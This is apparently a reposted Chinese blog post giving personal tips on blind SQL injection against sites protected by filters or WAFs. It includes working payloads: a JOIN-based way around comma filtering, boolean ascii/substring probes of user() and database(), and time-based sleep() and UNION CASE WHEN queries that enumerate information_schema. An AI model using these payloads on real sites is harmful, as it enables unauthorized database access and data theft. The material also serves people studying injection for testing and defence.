zoukankan      html  css  js  c++  java
  • 关于sql注入盲注,谈谈自己的心得

    1.没做防御的站点,拿上sqlmap直接怼就行了。

    2.做了防御,有的用函数过滤了,有的用了waf(比如安全狗,云锁,华为云waf,360waf,知道创宇盾,护卫神等等)

    这些就相当麻烦了,首先要探测出过滤了什么,再去构造sql语句,在本地测试通过后,再一点点完善,最后再去测试目标

    举个例子,一个站点过滤了逗号,和单引号,且数据库编码不是GB系列的,这种就不太好操作,个人手工测试,可以猜解出user(),database(),version()这些,但是完全手工也很麻烦,虽然能拿到,但是相当累。这里不用时间盲注的原因是因为,时间盲注本身,直接查询数据库是没有延迟的,但是访问某些网页根据你网络的好坏是有一定延迟的,所以这就很麻烦。

    绕过逗号可以用join

    语句

    select * from (select group_concat(distinct(table_schema)) from information_schema.tables ) a join (select 2 ) b;
    

     

    语句

    select id,username,password from users where id=1 and (ascii(substring(user() from 2))=111);
    

     

     这里用户名是root@localhost1,查询切片第二个字符的ascii码111对应是o

    如果排除网页响应时间的干扰,是可以用时间盲注的,写个脚本跑一下就好了

    又如

    
    
    select * from users where id=1 and (ascii(substring(database() from 1))=115) and  (select sleep(2));
    
    
    

     

     如果数据不存在则会,延迟两秒返回,存在的会秒回

    这里也尝试用联合查询,但是限制有点大

    这里是用联合查询爆破表名

    UNION select case when ascii(substring((select group_concat(distinct(table_schema)) from information_schema.tables) from 1 for 1))=123 then sleep(3) else 0 end;
    

     这里有一个条件语句,如果结果存在则会执行睡眠3秒的操作。但是只能用于联合语句,对于过滤了UNION的就无效了

     
  • 相关阅读:
    软件的结构
    SpringMVC返回值类型及响应数据类型
    mybatis学习日记3
    面试八
    面试七
    微信小程序实例源码大全下载
    dot.js模板引擎,避免大量拼接字符串
    前端重构方案了解一下
    微信小程序开发基础教程
    如何让签到成为提升用户活跃度的利器
  • 原文地址:https://www.cnblogs.com/mke2fs/p/11480423.html
Copyright © 2011-2022 走看看